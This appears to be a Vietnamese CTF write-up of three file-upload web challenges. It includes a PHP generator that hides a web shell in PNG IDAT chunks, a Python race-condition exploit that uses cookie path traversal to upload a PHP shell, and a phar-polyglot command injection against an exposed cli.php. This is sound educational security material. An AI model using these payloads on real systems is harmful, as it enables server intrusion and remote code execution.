---
# System prepended metadata

title: 'File upload challenges '
tags: [ctf_writeup, file_upload]

---


## Image Copy Resampled
Đây là một trang web với chức năng upload

![image](https://hackmd.io/_uploads/rkmb0soTyl.png)
![image](https://hackmd.io/_uploads/Hk9SAii6kx.png)

- trang web cho phép tải lên đuôi extension `.jpg .png .php`
- ảnh upload được resize về 40x40.
- sau đó trang web trả về kết quả đường dẫn tới ảnh.

=> có có thể upload được file đuôi `.php`
việc còn lại là phải chèn code php vào file.

----

**Phân tích**
flag nằm tại thư mục root / và tên được tạo ngẫu nhiên
![image](https://hackmd.io/_uploads/ryiXv4ha1x.png)

Khi ảnh được upload lên hệ thống, trang web sẽ thực hiện đọc file và viết lại nội dung trên file mới với kích cỡ 40x40, sử dụng hàm `imagecopyresampled()` của thư viện php-gd 
![image](https://hackmd.io/_uploads/HJfBuEn6kl.png)


Phần xử lý chấp nhận ba extension
![image](https://hackmd.io/_uploads/HJ7OD4hT1e.png)
- nếu đuôi file là `jpg` hệ thoogns sẽ gọi hàm `imagejpeg()` để tạo ảnh và ghi vào thư mục upload/
- còn nếu là `php png` thì sẽ gọi hàm `imagepng()`

---- 

#### IDAT chunk method
sau khi google ta sẽ biết được hàm `imagecopyresampled` có tồn tại lỗ hổng có thể exploit đó là có thể chèn php code vào phần *IDAT CHUNK* của file PNG
![image](https://hackmd.io/_uploads/SkfDoNnTkl.png)
![image](https://hackmd.io/_uploads/rJZ_iEn6kl.png)


Về [câu trúc của file png](http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html#C.Summary-of-standard-chunk) gồm có hai phần là *Critical chunks* và *Ancillary chunks* trong đó 
- IDAT chunk chính là phần lưu trữ data thực của file ảnh, đây là phần dữ liệu quan trọng nhất 
![image](https://hackmd.io/_uploads/Sy70qr3T1e.png)

Trong quá trình resize và nén ảnh, những data không cần thiết và những byte giống nhau sẽ bị bỏ bớt... Chính vì lý do này nên payload của ta khi chèn vào `metadata` hay những vị trí tùy ý sẽ không thể tồn tại được

=> nếu muốn vượt qua được quá trình resize ảnh thì chèn payload vào IDAT chunk sẽ là khả thi nhất

Để tạo một IDATchunk chứa đủ payload ta cần phải sửa đổi phù hợp với từng trường hợp resize kích thước khác nhau 
![image](https://hackmd.io/_uploads/BJS19Q3Tke.png)

Tuy nhiên vì poc của họ là với trường hợp ảnh bị resize về `55x55` nên cần phải sửa đổi script để ứng với trường hợp 40px
![image](https://hackmd.io/_uploads/HyEAQ-T61e.png)

nên cần phải sửa đổi script để ứng với trường howpjj 40px
```
**NOTE** 
Quá trình tạo payload mới rất phức tạp nên vẫn cần dùng payload `<?=\$\_GET[0]\(\$\_POST[1]) tác giả đã tạo sẵn
https://web.archive.org/web/20250306113551/http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
```
**Khai thác**
```php
<?php

header('Content-Type: image/png');

// payload '<?=$_GET[0]($_POST[1]);'
$payload = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

// sẽ tạo ảnh kích cỡ 40px từ đầu   
$img = imagecreatetruecolor(40, 40);
//

for ($y = 0; $y < sizeof($payload); $y += 3) {
$r = $payload[$y];
$g = $payload[$y+1];
$b = $payload[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);
// run: php idat_generator.php > out.png
?>

```
![image](https://hackmd.io/_uploads/r1S6MW66kg.png)

![image](https://hackmd.io/_uploads/Sk8rRmhp1l.png)
![image](https://hackmd.io/_uploads/SyVKA726kg.png)

> `BKSEC{Php_Gd_iDa7_cHunk_bc2bc479868c9928add3e63f2bcd3d67}`




**referrences**
https://book.hacktricks.wiki/en/pentesting-web/file-upload/index.html
https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html
https://web.archive.org/web/20250306113551/http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/

https://birdcomesfirst.wordpress.com/2020/11/30/learn-forensic-day7-ngam-cuu-ve-dinh-dang-png-theo-tai-lieu-cua-png-dev-group-5/



## Metadata checker

Đây là một trang web có tính năng kiểm tra metadata của file được upload lên
![image](https://hackmd.io/_uploads/SJCrsxa6yl.png)


Khi ta thử upload một file ảnh hợp lệ
![image](https://hackmd.io/_uploads/BJcvjlpp1x.png)


// doạn code xử lý chính

```php!
//...

if (isset(\$\_FILES) \&\& !empty(\$\_FILES)) {
    $uploadpath = "/var/tmp/";
    $error = "";
    
    $timestamp = time();

    $userValue = $_COOKIE['user'];
    $target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];

    move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);

    if ($_FILES["image"]["size"] > 1048576) {
        $error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
    } elseif ($_FILES["image"]["type"] !== "image/jpeg") {
        $error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
    } else {
      $exif = exif_read_data($target_file, 0, true);

      if ($exif === false) {
          $error .= '<p class="h5 text-danger">No metadata found.</p>';
      } else {
    //print metadata        
}
        
```


Những hành động nó thực hiện
- file sau khi upload được ghi lên thư mục `/var/tmp` -> ở đây nối chuỗi trực tiếp mà không có xử lý nào cả -> có thể path traversal. 
Trong đó có biến `userValue` là có thể kiểm soát khi nó nhận đầu vào từ cookie `user`
![image](https://hackmd.io/_uploads/HysbngaTkx.png)
- phần kiểm tra chỉ check MIME type ở header `Content-type` với thuộc tính`$_FILES["image"]["type"] `  -> vậy để upload webshell ta chỉ cần sửa header Content-type thỏa mãn thôi

![image](https://hackmd.io/_uploads/SywD3x6T1e.png)

- sau khi xử lý và in ra thông tin, file bị xóa sau 1.5s
![image](https://hackmd.io/_uploads/SJxN2gaakl.png)

=> Vậy ý tưởng sẽ là ta sẽ path traversal để upload file lên thư mục mà có thể truy cập từ web.
trong đó đường dẫn tới web folder thường là `/var/www/html/` 
Đồng thời race condition tới `http://103.97.125.56:31083/assets/images/shell.php` thật nhanh trước khi file bị xóa

**Khai thác**


```python!
import requests
import time
from threading import Thread

proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}
burp0_cookies = {"user": "../www/html/assets/images/"}
burp0_headers = {"User-Agent": "Mozilla/5.0 ", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "multipart/form-data; boundary=----geckoformboundaryab00d82815f3e076c06aa70e2b50ceb7", "Origin": "http://103.97.125.56:31548", "Connection": "keep-alive", "Referer": "http://103.97.125.56:31548/", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i"}

def upload():
    url = "http://103.97.125.56:31548/index.php"
    burp0_data = "------geckoformboundaryab00d82815f3e076c06aa70e2b50ceb7\r\nContent-Disposition: form-data; name=\"image\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system('cat /flag.txt');?>\r\n------geckoformboundaryab00d82815f3e076c06aa70e2b50ceb7--\r\n"
    requests.post(url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies)
    
def get_shell():
    timestamp = str(int(time.time()) + 2) 
    url = "http://103.97.125.56:31548/assets/images/_" + timestamp + "_shell.php"
    r = requests.get(url, headers=burp0_headers, cookies=burp0_cookies, proxies=proxies)
    if r.status_code == 200:
        print("FOUND")
        print(r.text)
    

def main():
        # Create 50 job
    for job in range(50):
        Thread(target=upload).start()
        Thread(target=get_shell).start()
        
main()

```
Trong đó 
- tạo hai request môt upload file, đồng thời get tới file
- Nếu response code trả về là 200 tức là file có tồn tại 

thử confirm với `phpinfo()`


![image](https://hackmd.io/_uploads/r1mFAk6aJg.png)

 `ls -la /`
![image](https://hackmd.io/_uploads/r1pBxxT6kg.png)
`cat /flag.txt`

> `BKSEC{Th!s_1s_just_the_st@rt_0f_the_r@ce_b234cae791e2b0c2df9a1edde713a784}`



## Magicom
![image](https://hackmd.io/_uploads/By-C820pJx.png)

tại `Add Product` cho phép đăng ảnh kèm mô tả sản phẩm
![image](https://hackmd.io/_uploads/H1n2F2ApJx.png)

tại `Product List` hiển thị các ảnh đã được đăng lên, ảnh được random name và lưu tại folder `uploads/`

![image](https://hackmd.io/_uploads/Sk8q530pke.png)

![image](https://hackmd.io/_uploads/SkWwq20pye.png)


----


### Phân tích



Cấu trúc challenge như sau:
<details> 

```
Magicom
├─ build_docker.sh
├─ config
│  ├─ fpm.conf
│  ├─ nginx.conf
│  ├─ php.ini
│  ├─ readflag.c
│  └─ supervisord.conf
├─ Dockerfile
├─ entrypoint.sh
├─ flag.txt
├─ magicom
│  ├─ assets
│  │  └─ image
│  │     ├─ CZ57Avenger.jpeg
│  │     ├─ F3Firelance.jpeg
│  │     ├─ favicon.ico
│  │     ├─ FNVThatGun.jpeg
│  │     ├─ Pew_Pew.jpeg
│  │     ├─ Protonic_inversal_throwing_axe.jpeg
│  │     └─ Tesla_cannon.jpeg
│  ├─ cli
│  │  ├─ cli.php
│  │  └─ conf.xml
│  ├─ controllers
│  │  ├─ AddProductController.php
│  │  ├─ Controller.php
│  │  ├─ HomeController.php
│  │  ├─ ProductController.php
│  │  └─ ProductViewController.php
│  ├─ Database.php
│  ├─ index.php
│  ├─ models
│  │  ├─ ImageModel.php
│  │  ├─ Model.php
│  │  └─ ProductModel.php
│  ├─ products.sql
│  ├─ Router.php
│  ├─ static
│  │  └─ css
│  │     └─ main.css
│  ├─ uploads
│  └─ views
│     ├─ 404.php
│     ├─ addProduct.php
│     ├─ home.php
│     ├─ partial
│     │  ├─ footer.php
│     │  └─ header.php
│     └─ product.php
└─ upload


```
</details>

Flag được đặt tại /root và chỉ user root mới có quyền truy cập

Nhưng còn có binary `readflag` tại thư mục `/` có thể truy cập

```dockerfile!
COPY flag.txt /root/flag.txt

....

# Setup readflag
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
```

khả năng là ta sẽ phải rce để thực thi `/readflag`

----
Một số thông tin về server
```
- php cli PHP 8.2.26 (cli) (built: Nov 21 2024 19:1
- nginx/1.24.0
```


Tại `index.php` chỉ định tất cả các route tới từng thư mục
![image](https://hackmd.io/_uploads/HkPvoCAakg.png)

ngoài những route trên ta thấy còn có `/info` sẽ trả về kết quả hàm phpinfo()
![image](https://hackmd.io/_uploads/Sy_zGyyRkl.png)

=> nếu trong chall tồn tại sink lfi thì có khả năng sẽ khai thác với [lfi2rce with phpinfo()](https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf) bởi vì lộ đường dẫn tới temporary file khi upload 

----



tại `POST addProduct` gọi tới `AddProductController` với đoạn xử lý chính như sau:

![image](https://hackmd.io/_uploads/SyMHC00Tyg.png)
- ảnh sau khi được upload được kiểm tra bởi method `isValid()`
- nếu valid thì hệ thoogns sẽ chuyển tới thư mục chính `uploads/` 
với tên file random, extension được tách từ MIME type ( file có mime type là image/png thì extension sẽ được tách là .png)
- trong đó MIME type được xác định bằng magic bytes của file - hàm `mime_content_type()`

Và `isValid()` được định nghĩa tại `ImageModel.php`, nó kiểm tra lần lượt các mục:

![image](https://hackmd.io/_uploads/S1XJZkkRkl.png)

- whitelist extension `"jpeg", "jpg", "png"` sử dụng hàm `pathinfo()`
- whitelist MIME type `"image/jpeg", "image/jpg", "image/png"`, xác định mime type với `mime_content_type()`
- kiểm tra kích thước của file ảnh sử dụng `getimagesize()` 


=> với phần xử lý này ta vẫn có thể chèn được payload php vào ảnh, 
- nhưng để  rce thì cần có thêm lỗi lfi
- hoặc nếu có thể bypass `isValid()` và upload file `.php`
Tuy nhiên sau một hồi thử thì hay cách này đểuf không được khả thi


---- 

**/cli/cli.php**
<details> 


```php

<?php

error_reporting(-1);

if (!isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']) {
    die("This script must be run from the command line!");
}

function passthruOrFail($command) {
    passthru($command, $status);
    if ($status) {
        exit($status);
    }
}

function isConfig($probableConfig) {
    if (!$probableConfig) {
        return null;
    }
    if (is_dir($probableConfig)) {
        return isConfig($probableConfig.\DIRECTORY_SEPARATOR.'config.xml');
    }

    if (file_exists($probableConfig)) {
        return $probableConfig;
    }
    if (file_exists($probableConfig.'.xml')) {
        return $probableConfig.'.xml';
    }
    return null;
};

function getConfig($name) {

    $configFilename = isConfig(getCommandLineValue("--config", "-c"));

    if ($configFilename) {
        $dbConfig = new DOMDocument();
        $dbConfig->load($configFilename);

        $var = new DOMXPath($dbConfig);
        foreach ($var->query('/config/db[@name="'.$name.'"]') as $var) {
            return $var->getAttribute('value');
        }
        return null;
    }
    return null;
}

function getCommandLineValue($longOption, $shortOption) {
    $argv = $_SERVER['argv'] ?? [];

    $longIndex = array_search($longOption, $argv);
    $shortIndex = array_search($shortOption, $argv);
    $index = false;
    $option = '';

    if ($longIndex !== false) {
        $index = $longIndex;
        $option = $argv[$longIndex + 1] ?? null;
    } elseif ($shortIndex !== false) {
        $index = $shortIndex;
        $option = $argv[$shortIndex + 1] ?? null;
    }

    return $option;
}

function generateFilename() {
    $timestamp = date("Ymd_His");
    $random = bin2hex(random_bytes(4));
    $filename = "backup_$timestamp" . "_$random.sql";
    return $filename;
}

function backup($filename, $username, $password, $database) {
    $backupdir = "/tmp/backup/";
    passthruOrFail("mysqldump -u$username -p$password $database > $backupdir$filename");
}

function import($filename, $username, $password, $database) {
    passthruOrFail("mysql -u$username -p$password $database < $filename");
}

function healthCheck() {
    $url = 'http://localhost:80/info';

    $headers = get_headers($url);

    $responseCode = intval(substr($headers[0], 9, 3));

    if ($responseCode === 200) {
        echo "[+] Daijobu\n";
    } else {
        echo "[-] Not Daijobu :(\n";
    }
}

$username = getConfig("username");
$password = getConfig("password");
$database = getConfig("database");

$mode = getCommandLineValue("--mode", "-m");

if($mode) {
    switch ($mode) {
        case 'import':
            $filename = getCommandLineValue("--filename", "-f");var_dump($filename); //debug
            if(file_exists($filename)) {
                import($filename, $username, $password, $database);
            } else {
                die("No file imported!");
            }
            break;
        case 'backup':
            backup(generateFilename(), $username, $password, $database);
            break;
        case 'healthcheck':
            healthcheck();
            break;
        default:
            die("Unknown mode specified.");
            break;
        }
}
?>
    



```

    
</details>


`cli.php` này được sử dụng bởi `entrypoint.sh` 
![image](https://hackmd.io/_uploads/S1wQEukCkl.png)

Mà trước đó đã để ý thấy nginx khai báo root tại folder web `/www` 
![image](https://hackmd.io/_uploads/HJlG5Ok01l.png)

nên mình thử tạo request tới /cli/cli.php và
![image](https://hackmd.io/_uploads/Hy9y5dkRkl.png)
![image](https://hackmd.io/_uploads/HypH5dyC1l.png)

cái cli này yêu cầu phải truyền tham số vào để thực thi 

=> vậy liệu nếu ở đây php có bật `sys.argv` thì ta sẽ có thể tận dụng phần này
- mình liền trở lại /info để check  và confirm
![image](https://hackmd.io/_uploads/Skj7U_1AJg.png)
![image](https://hackmd.io/_uploads/BJdT8_kRkl.png)

> Nhưng rõ ràng giá trị này thường là Off... mà ở phpini lại nói `Default Value: On`  :confused:
![image](https://hackmd.io/_uploads/S1FLvuyRJg.png)


Cli.php
có các chức năng `--config , --mode: import backup healthcheck `

- `--config` cái này chức năng là load cấu hình từ file `.xml` 
để gán giá trị cho `usrname password...`

![image](https://hackmd.io/_uploads/BksynukRke.png)

Đáng chú ý ở `--mode backup` và `import` dính Command Injection khi truyền trực tiếp biến vào hàm `passthru`
![image](https://hackmd.io/_uploads/rkkzWKJ0Jl.png)
![image](https://hackmd.io/_uploads/SkDvgt1C1e.png)
![image](https://hackmd.io/_uploads/SkndeKy0Jg.png)

=> nó cho phép ta import một file, vậy nếu file có dạng `a;id;` thì sẽ được xử lý thành `passthru('mysql -u...;id;')`
![image](https://hackmd.io/_uploads/SypVGYy01g.png)

=> vậy payload sẽ là `random_name;/readflag` 

Trước đó điều kiện cần là phải qua được hàm `file_exists()` -> filename phải tồn tại

=> Để có một filename tùy ý ->upload file, tuy ảnh upload lên của ta đã bị sửa random name -> nhưng vẫn có thể chèn file vào phar Archive bên trong một polyglot image/phar [(ref.)](https://vickieli.dev/hacking/polyglot/)

và confirm `file_exists()` có nhận `phar://`  wrapper
![image](https://hackmd.io/_uploads/H1nEDY061l.png)
- tại phpinfo cũng có khai báo ![image](https://hackmd.io/_uploads/rk6sEKyCJx.png)


---- 

### Khai thác

**Tạo polyglot**
Để tạo một file polyglot thì file phải có cấu trúc của cùng lúc 
-> ta sẽ chèn nội dung của ảnh vào đầu `Stub`

![image](https://hackmd.io/_uploads/Sk9VFKkRyg.png)

![image](https://hackmd.io/_uploads/ByWWPKJ0yx.png)


![image](https://hackmd.io/_uploads/B13quFk0yg.png)

`/uploads/6b6819a7e48829dc.png`

```
GET /cli/cli.php?+-m+import+-f+phar://../uploads/6b6819a7e48829dc.png/a;/readflag
```
![image](https://hackmd.io/_uploads/ByTWuFy0yx.png)


